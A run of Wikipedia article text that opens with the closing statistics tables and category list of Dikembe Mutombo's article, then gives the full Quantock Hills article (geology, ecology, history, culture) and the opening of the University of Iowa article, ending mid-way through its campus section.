| style="text-align:left;"| 1993–94
| style="text-align:left;"| Denver
| 82 || 82 || 34.8 || .569 || .000 || .583 || 11.8 || 1.5 || .7 || style="background:#cfecec;"|4.1* || 12.0
|-
| style="text-align:left;"| 1994–95
| style="text-align:left;"| Denver
| 82 || 82 || 37.8 || .556 || .000 || .654 || 12.5 || 1.4 || .5 || style="background:#cfecec;"|3.9* || 11.5
|-
| style="text-align:left;"| 1995–96
| style="text-align:left;"| Denver
| 74 || 74 || 36.7 || .499 || .000 || .695 || 11.8 || 1.5 || .5 || style="background:#cfecec;"|4.5* || 11.0
|-
| style="text-align:left;"| 1996–97
| style="text-align:left;"| Atlanta
| 80 || 80 || 37.2 || .527 || .000 || .705 || 11.6 || 1.4 || .6 || 3.3 || 13.3
|-
| style="text-align:left;"| 1997–98
| style="text-align:left;"| Atlanta
| 82 || 82 || 35.6 || .537 || .000 || .670 || 11.4 || 1.0 || .4 || 3.4 || 13.4
|-
| style="text-align:left;"| 1998–99
| style="text-align:left;"| Atlanta
| 50 || 50 || 36.6 || .512 || .000 || .684 || 12.2 || 1.1 || .3 || 2.9 || 10.8
|-
| style="text-align:left;"| 1999–00
| style="text-align:left;"| Atlanta
| 82 || 82 || 36.4 || .562 || .000 || .708 || style="background:#cfecec;"|14.1* || 1.3 || .3 || 3.3 || 11.5
|-
| style="text-align:left;"| 2000–01
| style="text-align:left;"| Atlanta
| 49 || 49 || 35.0 || .477 || .000 || .695 || 14.1 || 1.1 || .4 || 2.8 || 9.1
|-
| style="text-align:left;"| 2000–01
| style="text-align:left;"| Philadelphia
| 26 || 26 || 33.7 || .495 || .000 || .759 ||style="background:#cfecec;"| 12.4* || .8 || .3 || 2.5 || 11.7
|-
| style="text-align:left;"| 2001–02
| style="text-align:left;"| Philadelphia
| 80 || 80 || 36.3 || .501 || .000 || .764 || 10.8 || 1.0 || .4 || 2.4 || 11.5
|-
| style="text-align:left;"| 2002–03
| style="text-align:left;"| New Jersey
| 24 || 16 || 21.4 || .374 || .000 || .727 || 6.4 || .8 || .2 || 1.5 || 5.8
|-
| style="text-align:left;"| 2003–04
| style="text-align:left;"| New York
| 65 || 56 || 23.0 || .478 || .000 || .681 || 6.7 || .4 || .3 || 1.9 || 5.6
|-
| style="text-align:left;"| 2004–05
| style="text-align:left;"| Houston
| 80 || 2 || 15.2 || .498 || .000 || .741 || 5.3 || .1 || .2 || 1.3 || 4.0
|-
| style="text-align:left;"| 2005–06
| style="text-align:left;"| Houston
| 64 || 23 || 14.9 || .526 || .000 || .758 || 4.8 || .1 || .3 || .9 || 2.6
|-
| style="text-align:left;"| 2006–07
| style="text-align:left;"| Houston
| 75 || 33 || 17.2 || .556 || .000 || .690 || 6.5 || .2 || .3 || 1.0 || 3.1
|-
| style="text-align:left;"| 2007–08
| style="text-align:left;"| Houston
| 39 || 25 || 15.9 || .538 || .000 || .711 || 5.1 || .1 || .3 || 1.2 || 3.0
|-
| style="text-align:left;"| 2008–09
| style="text-align:left;"| Houston
| 9 || 2 || 10.7 || .385 || .000 || .667 || 3.7 || .0 || .0 || 1.2 || 1.8
|- class="sortbottom"
| style="text-align:center;" colspan="2"| Career
| 1196 || 997 || 30.8 || .518 || .000 || .684 || 10.3 || 1.0 || .4 || 2.8 || 9.8
|- class="sortbottom"
| style="text-align:center;" colspan="2"| All-Star
| 8 || 3 || 17.5 || .595 || .000 || .750 || 9.3 || .3 || .4 || 1.2 || 6.3
Playoffs
|-
| style="text-align:left;"| 1994
| style="text-align:left;"| Denver
| 12 || 12 || 42.6 || .463 || .000 || .602 || 12.0 || 1.8 || .7 ||style="background:#cfecec;"| 5.8* || 13.3
|-
| style="text-align:left;"| 1995
| style="text-align:left;"| Denver
| 3 || 3 || 28.0 || .600 || .000 || .667 || 6.3 || .3 || .0 || 2.3 || 6.0
|-
| style="text-align:left;"| 1997
| style="text-align:left;"| Atlanta
| 10 || 10 || 41.5 || style="background:#cfecec;"|.628* || .000 || .719 || 12.3 || 1.3 || .1 || 2.6 || 15.4
|-
| style="text-align:left;"| 1998
| style="text-align:left;"| Atlanta
| 4 || 4 || 34.0 || .458 || .000 || .625 || 12.8 || .3 || .3 || 2.3 || 8.0
|-
| style="text-align:left;"| 1999
| style="text-align:left;"| Atlanta
| 9 || 9 || 42.2 || .563 || .000 || .702 || style="background:#cfecec;"|13.9* || 1.2 || .6 || 2.6 || 12.6
|-
| style="text-align:left;"| 2001
| style="text-align:left;"| Philadelphia
| 23 || 23 || 42.7 || .490 || .000 || .777 || 13.7 || .7 || .7 || style="background:#cfecec;"|3.1* || 13.9
|-
| style="text-align:left;"| 2002
| style="text-align:left;"| Philadelphia
| 5 || 5 || 34.6 || .452 || .000 || .615 || 10.6 || .6 || .4 || 1.8 || 8.8
|-
| style="text-align:left;"| 2003
| style="text-align:left;"| New Jersey
| 10 || 0 || 11.5 || .467 || .000 || 1.000 || 2.7 || .6 || .3 || .9 || 1.8
|-
| style="text-align:left;"| 2004
| style="text-align:left;"| New York
| 3 || 0 || 12.7 || .333 || .000 || 1.000 || 3.3 || .0 || .3 || 1.3 || 2.3
|-
| style="text-align:left;"| 2005
| style="text-align:left;"| Houston
| 7 || 0 || 14.4 || .545 || .000 || .769 || 5.0 || .3 || .3 || 1.0 || 3.1
|-
| style="text-align:left;"| 2007
| style="text-align:left;"| Houston
| 7 || 0 || 5.7 || 1.000 || .000 || 1.000 || 1.6 || .1 || .0 || .4 || 1.3
|-
| style="text-align:left;"| 2008
| style="text-align:left;"| Houston
| 6 || 6 || 20.5 || .615 || .000 || .636 || 6.5 || .3 || .2 || 1.8 || 3.8
|-
| style="text-align:left;"| 2009
| style="text-align:left;"| Houston
| 2 || 0 || 10.0 || .000 || .000 || .000 || 4.5 || .0 || .5 || 1.0 || .0
|- class="sortbottom"
| style="text-align:center;" colspan="2"| Career
| 101 || 72 || 30.9 || .517 || .000 || .703 || 9.5 || .8 || .4 || 2.5 || 9.1
See also
List of National Basketball Association career games played leaders
List of National Basketball Association career rebounding leaders
List of National Basketball Association career blocks leaders
List of National Basketball Association career playoff blocks leaders
List of National Basketball Association annual rebounding leaders
List of National Basketball Association players with most blocks in a game
References
External links
NBA profile
Dikembe Mutombo at Basketball-Reference.com
"Charting damage by Dikembe" at ESPN
Dikembe Mutombo Foundation
Dikembe Mutombo Profile – ClutchFans.net (Houston Rocket Fan Site)
"On the Shoulders of a Giant", Time, April 20, 2003.
1966 births
Living people
All-American college men's basketball players
American men's basketball players
Atlanta Hawks players
Centers (basketball)
Democratic Republic of the Congo emigrants to the United States
Democratic Republic of the Congo expatriate basketball people in the United States
Democratic Republic of the Congo men's basketball players
Denver Nuggets draft picks
Denver Nuggets players
Georgetown Hoyas men's basketball players
Houston Rockets players
Luba people
Naismith Memorial Basketball Hall of Fame inductees
National Basketball Association All-Stars
National Basketball Association players from the Democratic Republic of the Congo
National Basketball Association players with retired numbers
New Jersey Nets players
New York Knicks players
Philadelphia 76ers players
Sportspeople from Kinshasa | [
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241117 | https://en.wikipedia.org/wiki/Quantock%20Hills | Quantock Hills | The Quantock Hills west of Bridgwater in Somerset, England, consist of heathland, oak woodlands, ancient parklands and agricultural land. They were England's first Area of Outstanding Natural Beauty, designated in 1956.
Natural England have designated the Quantock Hills as a national character area. They are entirely surrounded by another: the Vale of Taunton and Quantock Fringes.
The hills run from the Vale of Taunton Deane in the south, for about to the north-west, ending at Kilve and West Quantoxhead on the coast of the Bristol Channel. They form the western border of Sedgemoor and the Somerset Levels. From the top of the hills on a clear day, it is possible to see Glastonbury Tor and the Mendips to the east, Wales as far as the Gower Peninsula to the north, the Brendon Hills and Exmoor to the west, and the Blackdown Hills to the south. The highest point on the Quantocks is Wills Neck, at . Soil types and weather combine to support the hills' plants and animals. In 1970, an area of was designated as a Biological Site of Special Scientific Interest.
Archaeological landscape features include Bronze Age round barrows, extensive ancient field systems and Iron Age hill forts. Roman silver coins have been discovered in West Bagborough. The hills are popular with walkers, mountain bikers, horse riders and tourists who explore paths such as the Coleridge Way.
Etymology
The name first appears in Saxon charters in around AD 880 as Cantuctun and two centuries later in the Domesday Book as Cantoctona and Cantetone. The name means settlement by a rim or circle of hills; Cantuc is Celtic for a rim or circle, and -ton or -tun is Old English for a settlement. The highest point of the hills is called Will's Neck meaning ridge of the Welshman, probably referring to a time when the hills marked the boundary between the expanding Saxon kingdom of Wessex and the lands of the Britons or 'Welsh' to the West. A battle was fought locally at that time.
Geology
The Quantock Hills are largely formed by rocks of the Devonian period, which consist of sediments originally laid down under a shallow sea and slowly compressed into solid rock. In the higher north-western areas older Early Devonian rocks known as Hangman Grits (or, more formally, the Hangman Sandstone Formation) predominate and can be seen in the exposed rock at West Quantoxhead quarry, which was worked for road building. The Hangman Grits are described in three divisions: the lowest are the Little Quantock Beds, which are located near Crowcombe, and made up of siltstones and slates. Between Triscombe and West Quantoxhead is a layer of the Triscombe Beds which is around thick and is made up of green sandstone and mudstones. The uppermost division is the Hodders Combe Beds of sandstone and conglomerate and is approximately thick.
Further south there are newer Middle and Late Devonian rocks, known as Ilfracombe beds and Morte Slates. These include sandstone and limestone, which have been quarried near Aisholt. At Great Holwell, south of Aisholt, is the only limestone cave in the Devonian limestone of North Devon and West Somerset. The lower fringes around the hills are composed of younger New Red Sandstone rocks of the Triassic period. These rocks were laid down in a shallow sea and often contain irregular masses or veins of gypsum, which was mined on the foreshore at Watchet.
Several areas have outcrops of slates. Younger rocks of the Jurassic period can be found between St Audries and Kilve. This area falls within the Blue Anchor to Lilstock Site of Special Scientific Interest (SSSI) and is considered to be of international geological importance.
Kilve has the remains of a red-brick retort built in 1924 after the shale in the cliffs was found to be rich in oil. Along this coast, the cliffs are layered with compressed strata of oil-bearing shale and blue, yellow and brown Lias embedded with fossils. The Shaline Company was founded in 1924 to exploit these strata but was unable to raise sufficient capital. The company's retort house is thought to be the first structure erected here for the conversion of shale to oil and is all that remains of the anticipated Somerset oil boom.
At Blue Anchor the coloured alabaster found in the cliffs gave rise to the name of the colour "Watchet Blue". The village has the only updraught brick kiln known to have survived in Somerset. It was built around 1830 and was supplied by small vessels carrying limestone to the small landing jetty. Now used as a garage, the kiln is thought to have operated until the 1870s, when the large-scale production of bricks in Bridgwater rendered small brickyards uneconomic.
Cockercombe tuff is a greenish-grey, hard pyroclastic rock formed by the compression of volcanic ash and is found almost exclusively in the south-eastern end of the Quantock Hills.
Climate
Along with the rest of South West England, the Quantock Hills has a temperate climate that is generally wetter and milder than the rest of England. The mean temperature is approximately and shows a seasonal and a diurnal variation, but because of the modifying effect of the sea the range is less than in most other parts of the United Kingdom. January is the coldest month with mean minimum temperatures between and . July and August are the warmest months, with mean daily maxima around . December is normally the most cloudy month and June the sunniest. High pressure over the Azores often brings clear skies to south-west England, particularly in summer.
Cloud often forms inland especially near hills, and acts to reduce sunshine. The average annual sunshine totals around 1,600 hours. Rainfall tends to be associated with Atlantic depressions or with convection. In summer, convection caused by solar surface heating sometimes forms shower clouds, and a large proportion of rain falls from showers and thunderstorms at this time of year. Average rainfall is around . About 8 to 15 days of snowfall is typical. From November to March, mean wind speeds are highest; winds are lightest from June to August. The predominant wind direction is from the south-west.
Ecology
In 1970 an area of in the Quantocks was designated as a Biological Site of Special Scientific Interest (SSSI). This a conservation designation denoting a protected area in the United Kingdom, selected by Natural England, for areas with particular landscape and ecological characteristics. It provides some protection from development, from other damage, and (since 2000) also from neglect, under the Countryside and Rights of Way Act 2000.
The streams and open water such as Hawkridge Reservoir and Ashford Reservoir on Cannington Brook also provide habitats for a range of species.
Flora
The hilltops are covered in heathland of gorse, heather, bracken and thorn with plantations of conifer. The western side of the Quantocks are steep scarp slopes of pasture, woods and parkland. Deep stream-cut combes to the north-east contain extensive oak-woods with small flower-rich bogs above them. The areas where there is limited drainage are dominated by heather (Calluna vulgaris), with significant populations of cross-leaved heath (Erica tetralix), purple moor-grass (Molinia caerulea), bilberry (Vaccinium myrtillus) and wavy hair-grass (Deschampsia flexuosa). Drier areas are covered with bell heather (Erica cinerea), western gorse (Ulex gallii) and bristle bent (Agrostis curtisii), while bracken (Pteridium aquilinum) is common on well-drained deeper soils. The springs and streams provide a specialist environment that supports bog pimpernel (Anagallis tenella). The woodland is generally birch/sessile oak woodland, valley alder woodland and ash/wych elm woodland, which support a rich lichen flora. Alfoxton Wood is one of only three British locations where the lichen Tomasellia lectea is present.
Fauna
The various habitats, together with the wide range of slopes and aspects, provide ideal conditions
for a rich fauna. Amphibians such as the palmate newt (Triturus helveticus), common frog (Rana temporaris), and common toad (Bufo bufo) are represented in the damper environments. Reptiles
present include adder (Vipera berus), grass snake (Natrix natrix), slowworm (Anguis fragilis) and common lizard (Lacerta vivipara). Many bird species breed on the Quantocks, including the grasshopper warbler (Locustella naevia), nightjar (Caprimulgus europaeus), raven (Corvus corax) and the European pied flycatcher (Ficedula hypoleuca). The Quantocks are also an important site for red deer (Cervus elaphus). Invertebrates of note include the silver-washed fritillary butterfly (Argynnis paphia), and three nationally rare dead-wood beetles: Thymalus limbatus, Orchesia undulata and Rhinosimus ruficollis.
History
Origins
Evidence of activity in the Quantocks from prehistoric times includes finds of Mesolithic flints at North Petherton and Broomfield and many Bronze Age round barrows (marked on maps as tumulus, plural tumuli), such as Thorncombe Barrow above Bicknoller. Several ancient stones can be seen, such as the Triscombe Stone and the Long Stone above Holford. Many of the tracks along ridges of the Quantocks probably originated as ancient ridgeways. A Bronze Age hill fort, Norton Camp, was built to the south at Norton Fitzwarren, close to the centre of bronze making in Taunton.
Iron Age sites in the Quantocks include major hill forts at Dowsborough and Ruborough, as well as several smaller earthwork enclosures, such as Trendle Ring and Plainsfield Camp. Ruborough near Broomfield is on an easterly spur from the main Quantock ridge, with steep natural slopes to the north and south east. The fort is triangular in shape, with a single rampart and ditch (univallate), enclosing . A linear outer work about away, parallel to the westerly rampart, encloses another . The name Ruborough comes from Rugan beorh or Ruwan-beorge meaning Rough Hill. The Dowsborough fort has an oval shape, with a single rampart and ditch (univallate) following the contours of the hill top, enclosing an area of . The main entrance is to the east, towards Nether Stowey, with a simpler opening to the north west, aligned with a ridgeway leading down to Holford. A col to the south connects the hill to the main Stowey ridge, where a linear earthwork known as Dead Woman's Ditch cuts across the spur.
Little evidence exists of Roman influence on the Quantock region beyond isolated finds and hints of transient forts. A Roman port was at Combwich, and it is possible that a Roman road ran from there to the Quantocks, because the names Nether Stowey and Over Stowey come from the Old English stan wey, meaning stone way. In October 2001 the West Bagborough Hoard of 4th-century Roman silver was discovered in West Bagborough. The 681 coins included two denarii from the early 2nd century, and eight miliarense and 671 siliqua dating to 337–367 AD. The majority were struck in the reigns of emperors Constantius II and Julian and derive from a range of mints including Arles and Lyons in France, Trier in Germany and Rome.
Dark Ages and Anglo-Saxon
The area remained under Romano-British Celtic control until 681–685 AD, when Centwine of Wessex pushed west from the River Parrett, conquered the Welsh King Cadwaladr, and occupied the rest of Somerset north to the Bristol Channel.
Saxon rule was later consolidated under King Ine, who established a fort at Taunton in about 700 AD.
The first documentary evidence of the village of Crowcombe is by Æthelwulf of Wessex in 854, where it was spelt 'Cerawicombe'. At that time the manor belonged to Glastonbury Abbey. In the later Saxon period, King Alfred led the resistance to Viking invasion from Athelney, south-east of the Quantocks. According to the Anglo-Saxon Chronicle, the early port at Watchet was plundered by Danes in 987 and 997. Alfred established a series of forts and lookout posts linked by a military road, or herepath, so his army could cover Viking movements at sea. The herepath has a characteristic form that is familiar on the Quantocks: a regulation wide track between avenues of trees growing from hedge laying embankments. The herepath ran from the ford on the River Parrett at Combwich, past Cannington hill fort to Over Stowey, where it climbed the Quantocks along the line of the current Stowey road, to Crowcombe Park Gate. Then it went south along the ridge, to Triscombe Stone. One branch may have led past Lydeard Hill and Buncombe Hill, back to Alfred's base at Athelney. The main branch descended the hills at Triscombe, then along the avenue to Red Post Cross, and west to the Brendon Hills and Exmoor. There is some evidence that an area of the hills known as Quantock Common may have been a Saxon Royal Forest.
Medieval
After the Norman conquest of England in 1066 William de Moyon was given land at Dunster, Broomfield and West Quantoxhead, his son becoming William de Mohun of Dunster, 1st Earl of Somerset, while William Malet received Enmore. East Quantoxhead was given to the Luttrells (previously spelled de Luterel), who passed the manor down through descendants into the 20th century. A Luttrell also became the Earl of Carhampton and acquired Dunster Castle in 1376, holding it until it became a National Trust property in 1976.
Stowey Castle at Nether Stowey was built in the 11th century. The castle is sited on a small isolated knoll, about high. It consisted of a square keep (which may have been stone, or a wooden superstructure on stone foundations) and its defences and an outer and an inner bailey. The mount is above the wide ditch which itself is deep. The motte has a flat top with two large and two small mounds, which may be sites of towers, at the edge. The Blue Lias rubble walling is the only visible structural remains of the castle, which stand on a conical earthwork with a ditch approximately in circumference. The castle was destroyed in the 15th century, which may have been as a penalty for the local Lord Audley's involvement in the Second Cornish Uprising of 1497 led by Perkin Warbeck against the taxes of Henry VII. Some of the stone was used in the building of Stowey Court in the village.
Modern
There was very little action on the Quantocks during the English Civil War. Sir John Stawell of Cothelstone was a leading Royalist. When Taunton fell to parliamentary troops and was held by Robert Blake, he attacked Stawell at Bishops Lydeard and imprisoned him. After the restoration Charles II conferred the title of Baron Stawell on Stawell's son Ralph. A group of Clubmen met at Triscombe in 1645 and petitioned parliament calling for peace through negotiation.
At the end of the Monmouth Rebellion of 1685, (also known as the Pitchfork Rebellion), many participants were executed in the Quantocks. The rebellion was an attempt to overthrow the King of England, James II, who became king when his elder brother, Charles II, died on 6 February 1685. James II was unpopular because he was Roman Catholic, and many people were opposed to a "papist" king. James Scott, 1st Duke of Monmouth, claimed to be rightful heir to the throne and attempted to displace James II. The rebellion ended with the defeat of Monmouth's forces at the Battle of Sedgemoor on 6 July 1685. Monmouth was executed for treason on 15 July, and many of his supporters were executed, including some by hanging at Nether Stowey and Cothelstone, or transported in the Bloody Assizes of Judge Jeffreys.
Dodington was the site of the Buckingham Mine where copper was extracted. The mine was established before 1725 and followed earlier exploration at Perry Hill, East Quantoxhead. It was financed by the Marquis of Buckingham until 1801 when it was closed, until various attempts were made to reopen it during the 19th century.
In 1724 the 14th century spire of the Church of the Holy Ghost in Crowcombe was damaged by a lightning strike. The top section of the spire was removed and is now planted in the churchyard, and stone from the spire was used in the flooring of the church. Inside the church, carved bench-ends dating from 1534 depict such pagan subjects as the Green Man and the legend of the men of Crowcombe fighting a two-headed dragon.
Norton Fitzwarren was the site of a boat lift on the now unused section of the Grand Western Canal from 1839 to 1867. A 300-person prisoner of war camp built here during World War II housed Italian prisoners from the Western Desert Campaign and German prisoners from the Battle of Normandy.
Walking routes
Poet Samuel Taylor Coleridge lived in Nether Stowey in the Quantocks from 1797 to 1799. In his memory a footpath, The Coleridge Way, was set up by the Exmoor park authorities. The route begins in Nether Stowey and crosses the Quantocks, the Brendon Hills and Exmoor before finishing in Porlock.
The Quantock Greenway is a footpath that opened in 2001. The route of the path follows a figure of eight centred on Triscombe. The northern loop, taking in Crowcombe and Holford, is long, and the southern loop to Broomfield extends for . The path travels through many types of landscape, including deciduous and coniferous woodland, private parkland, grazed pasture and cropped fields.
The Macmillan Way West follows the Quantocks ridge for several miles.
Governance
The Quantock Hills were designated as an Area of Outstanding Natural Beauty (AONB) in 1956, the first such designation in England under the National Parks and Access to the Countryside Act 1949. Notice of the intention to create the AONB under The Quantock Hills Area of Outstanding Natural Beauty (Designation) Order, 1956 was published in the London Gazette on 7 February 1956.
Since responsibility for the Quantock AONB is shared between the County Council and three District Councils The Quantock Hills Joint Advisory Committee was set up in 1973. The JAC represents County, District and Parish councils along with representatives from Natural England, Friends of Quantock, the Forestry Commission, The Country Land and Business Association (CLA), Somerset Local Access Forum,
the Quantock Commoners Association, the Federation of Small Businesses, the National Trust, and the National Farmers Union. The JAC commissions the AONB service both to draw up management plans for the Quantocks and to carry them out.
Ownership
There is no single owner of the open land on the Quantocks or of the forestry plantations. Major landowners include the Forestry Commission, The National Trust, the Fairfield Estate, the Luttrell Estate, the Tetton Estate, Somerset County Council and Friends of Quantock.
Cultural references
Film
The film Pandaemonium (2000), based on the lives of Wordsworth and Coleridge, much of it filmed on the hills.
Literature
The poet Samuel Taylor Coleridge lived here for three years from 1797, while he wrote The Rime of the Ancient Mariner (written in 1797–98 and published in 1798), part of Christabel (the first part was reputedly written in 1797, and the second in 1800), Frost at Midnight, and Kubla Khan (completed in 1797 and published in 1816).
Poet William Wordsworth and his sister Dorothy lived at Alfoxton House in Holford between July 1797 and June 1798, during the time of their friendship with Coleridge.
In 1913, the poet Edward Thomas wrote a prose account of a bicycle journey to the Quantocks, published in 1914 as "In Pursuit of Spring".
The poet Henry Newbolt lived in Aisholt in the 1920s. Walter de la Mare stayed with him and wrote in his visitors book:
Happy art thou to lie in that still room
Under the thick-thatched eaves in Aisholt Combe,
Where sings the nightingale, where blooms the broom
Virginia and Leonard Woolf spent a few days of their honeymoon at The Plough Inn, Holford, before continuing to the continent in 1912. They returned about a year later to try to help Virginia recover from one of her recurring nervous breakdowns.
Charles Williams visited Aisholt and wrote a poem there.
The opening of John le Carré's novel Tinker, Tailor, Soldier, Spy (1974) is set in the Quantocks.
Anne Ridler visited Aisholt many times and wrote a poem titled 'Aisholt Revisited'.
In the 1980s and 1990s, English novelist Ruth Elwin Harris wrote her Quantock Quartet, a set of novels centred on four sisters growing up around the Quantock Hills during the early 20th century.
A 1951 poem by J. C. Hall describes a visit to Alfoxton.
Art
A number of artists spent time on the Quantocks in the 1860s, many of them lodging at Halsway Manor. They are sometimes referred to as the Idyllists. They include John William North, George John Pinwell and Frederick Walker.
Music
The video to the Bryan Adams hit "(Everything I Do) I Do It for You" was filmed in the landscape of Holford and Kilve.
Bibio's album Hand Cranked (2006) features a track titled "Quantock".
"Checking out the Quantocks", is a line from Half Man Half Biscuit's song "Joy Division Oven Gloves", from their album Achtung Bono.
Television
The Doctor Who serial Shada (1980) makes a sidelong reference to this region – the Fourth Doctor (played by Tom Baker) claims that walking through the Time Vortex "is a little trick I learned from a space-time mystic in the Quantocks".
The Quantocks are the setting for the final episodes of the third and eighth series (2005 and 2012) of Peep Show, which are titled "Quantocking" and "Quantocking II"
Cultural attractions and places of interest
A series of concerts called Music on the Quantocks takes place each year in Quantock villages. Headlining acts have included Sir James Galway, guitarist John Williams and choral groups The Sixteen, The Tallis Scholars and the Gabrieli Consort. The concerts are run by volunteers.
One of the most popular Coleridge Cottage is a cottage situated in Nether Stowey. It was constructed in the 17th century as a building containing a parlour, kitchen and service room on the ground floor and three corresponding bed chambers above. It has been designated by English Heritage as a grade II* listed building. Having served for many years as Moore's Coleridge Cottage Inn, the building was acquired for the nation in 1908, and the following year it was handed over to the National Trust. On 23 May 1998, following a £25,000 appeal by the Friends of Coleridge and the National Trust, two further rooms on the first floor were opened.
At Aley is Quantock Lodge, a green-grey 19th-century mansion built from cockercombe tuff. It was the family home of Henry Labouchere, 1st Baron Taunton, until the 1960s when it was converted into a school. In 2000, it became a centre for recreation and banqueting and summer camps for youths.
Broomfield is home to Fyne Court. Once the home of pioneer 19th century electrician, Andrew Crosse. Since 1972 it has been owned by the National Trust. It has been leased from the National Trust since 1974 by the Somerset Wildlife Trust (Formally Somerset Trust for Nature Conservation) and is run as a nature reserve and visitor centre. The Quantock Hills AONB Service have their headquarters at Fyne Court.
The Church of St Mary in Kingston St Mary dates from the 13th century, but the tower is from the early 16th century and was re-roofed in 1952, with further restoration from 1976 to 1978. It is a three-stage crenellated tower, with crocketed pinnacles, bracketed pinnacles set at angles, decorative pierced merlons, and set-back buttresses crowned with pinnacles. The decorative "hunky-punks" are perched high on the corners. These may be so named because the carvings are hunkering (squatting) and are "punch" (short and thick). They serve no function, unlike gargoyles that carry off water. The churchyard includes tombs of the Warre family who owned nearby Hestercombe House, a historic country house in Cheddon Fitzpaine visited by about 70,000 people per year. The site includes a biological Site of Special Scientific Interest notified in 2000. The site is used for roosting by Lesser horseshoe bats, and has been designated as a Special Area of Conservation (SAC). The house was used as the headquarters of the British 8th Corps during the Second World War, and has been owned by Somerset County Council since 1951. It is used as an administrative centre and a base for the Somerset Fire and Rescue Service.
The Norman Church of St Giles in Thurloxton dates from the 14th century but is predominantly from the 15th century with 19th century restoration, including the addition of the north aisle in 1868. It has been designated by English Heritage as a grade II* listed building. From October 1763 to January 1764 the vicar was the diarist James Woodforde.
The West Somerset Railway (WSR) is a heritage railway that runs along the edge of the Quantock Hills between Bishops Lydeard and Watchet. The line then turns inland to Washford, and returns to the coast for the run to Minehead. At , it is the longest privately owned passenger rail line in the UK.
Halsway Manor in Halsway, is now used as England's National Centre for Traditional Music, Dance and Song. It is the only residential folk centre in the UK. The eastern end of the building dates from the 15th century and the western end was a 19th-century addition. The manor, which is mentioned in the Domesday Book, was at one time used by Cardinal Beaufort as a hunting lodge and thereafter as a family home until the mid-1960s when it became the folk music centre. It has been designated by English Heritage as a grade II* listed building.
Halswell House in Goathurst has Tudor origins but was purchased by the Tynte family and rebuilt in 1689. The surrounding park and pleasure garden was developed between 1745 and 1785. The grounds contain many fish ponds, cascades, bridges and fanciful buildings, including the Temple of Harmony, which stands in Mill Wood and has now been fully restored.
See also
List of Sites of Special Scientific Interest in Somerset
References
External links
Quantock Hills Area of Outstanding Natural Beauty official website
Hills of Somerset
Geology of Somerset
Areas of Outstanding Natural Beauty in England
Protected areas of Somerset
Natural regions of England
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241119 | https://en.wikipedia.org/wiki/University%20of%20Iowa | University of Iowa | The University of Iowa (UI, U of I, UIowa, or simply Iowa) is a public research university in Iowa City, Iowa. Founded in 1847, it is the oldest and the second-largest university in the state. The University of Iowa is organized into 12 colleges offering more than 200 areas of study and seven professional degrees.
On an urban 1,880-acre campus on the banks of the Iowa River, the University of Iowa is classified among "R1: Doctoral Universities – Very high research activity". The university is best known for its programs in health care, law, and the fine arts, with programs ranking among the top 25 nationally in those areas. The university was the original developer of the Master of Fine Arts degree and it operates the Iowa Writers' Workshop, which has produced 17 of the university's 46 Pulitzer Prize winners. Iowa is a member of the Association of American Universities, the Universities Research Association, and the Big Ten Academic Alliance.
Among public universities in the United States, UI was the first to become coeducational and host a department of religious studies; it also opened the first coeducational medical school. The University of Iowa's 33,000 students take part in nearly 500 student organizations. Iowa's 22 varsity athletic teams, the Iowa Hawkeyes, compete in Division I of the NCAA and are members of the Big Ten Conference. The University of Iowa alumni network exceeds 250,000 graduates.
History
Founding and early history
The University of Iowa was founded on February 25, 1847, just 59 days after Iowa was admitted to the Union. The Constitution of the State of Iowa refers to a State University to be established in Iowa City "without branches at any other place." The legal name of the university is the State University of Iowa, but the Board of Regents approved using "The University of Iowa" for everyday usage in October 1964.
The first faculty offered instruction at the university beginning in March 1855 to students in the Old Mechanics Building, located where Seashore Hall is now. In September 1855, there were 124 students, of whom forty-one were women. The 1856–57 catalog listed nine departments offering ancient languages, modern languages, intellectual philosophy, moral philosophy, history, natural history, mathematics, natural philosophy, and chemistry. The first president of the university was Amos Dean.
The original campus consisted of the Iowa Old Capitol Building and the (4.05 hectares) of land on which it stood. Following the placing of the cornerstone July 4, 1840, the building housed the Fifth Legislative Assembly of the Territory of Iowa (December 5, 1842) and then became the first capitol building of the State of Iowa on December 28, 1846. Until that date, it had been the third capitol of the Territory of Iowa. When the capitol of Iowa was moved to Des Moines in 1857, the Old Capitol became the first permanent "home" of the University.
In 1855, the university became the first public university in the United States to admit men and women on an equal basis. In addition, Iowa was the world's first university to accept creative work in theater, writing, music, and art on an equal basis with academic research.
The university was one of the first institutions in America to grant a law degree to a woman (Mary B. Hickey Wilkinson, 1873), to grant a law degree to an African American (Alexander G. Clark, Jr. in 1879), and to put an African American on a varsity athletic squad (Frank Holbrook in 1895). The university awarded its first doctorate in 1898.
20th century–present
The university was the first state university to recognize the Gay, Lesbian, Bisexual, Transgender, and Allied Union (in 1970).
The University of Iowa established the first law school west of the Mississippi River. It was the first university to use television in education, in 1932, and it pioneered in the field of standardized testing. Also, the University of Iowa was the first Big Ten institution to promote an African American to the position of administrative vice president. (Phillip Hubbard, promoted in 1966)
Under the leadership of Carl Seashore in 1922, Iowa became the first university in the United States to accept creative projects as theses for advanced degrees. Traditionally, graduate study culminates in the writing of a scholarly thesis, but Iowa accepted creative works including a collection of poems, a musical composition, or a series of paintings to be presented to the graduate college in support of a degree. In so doing, Iowa established a creative standard in qualifying for the Master of Fine Arts degree and secured a place for writers and artists in the academy. The university's Program in Creative Writing, known worldwide as the Iowa Writers’ Workshop, was founded in 1936 with the gathering together of writers of both poetry and fiction. It was the first creative writing program in the country, and it became the prototype for more than 300 writing programs, many of which were founded by Workshop alumni. The workshop remains the most prestigious creative writing program in the country and one of the most selective graduate programs of any kind, typically admitting fewer than five percent of its applicants.
A shooting took place on campus on November 1, 1991. Six people died in the shooting, including the perpetrator, and one other person was wounded. This was one of the deadliest university campus shootings in United States history.
In the summer of 2008, flood waters breached the Coralville Reservoir spillway, damaging more than 20 major campus buildings. Several weeks after the floodwaters receded, university officials placed a preliminary estimate on flood damage at $231.75 million. Later, the university estimated that repairs would cost about $743 million. The reconstruction and renovation work took a decade, but the university has recovered and taken several preventive measures with the hope of avoiding a tragic repeat of the event.
In January 2009, UNESCO designated Iowa City the world's third City of Literature, making it part of the UNESCO Creative Cities Network.
In 2015, the Iowa Board of Regents selected Bruce Harreld, a business consultant with limited experience in academic administration, to succeed Sally Mason as president. The regents' choice of Harreld provoked criticism and controversy on the UI campus due to his corporate background, lack of history in leading an institution of higher education, and the circumstances related to the search process. The regents said they had based their decision on the belief that Harreld could limit costs and find new sources of revenue beyond tuition in an age of declining state support for universities.
Campus
The University of Iowa's main campus is located in Iowa City. The campus is roughly bordered by Park Road and U.S. Highway 6 to the north and Dubuque and Gilbert Streets to the east. The Iowa River flows through the campus, dividing it into west and east sides.
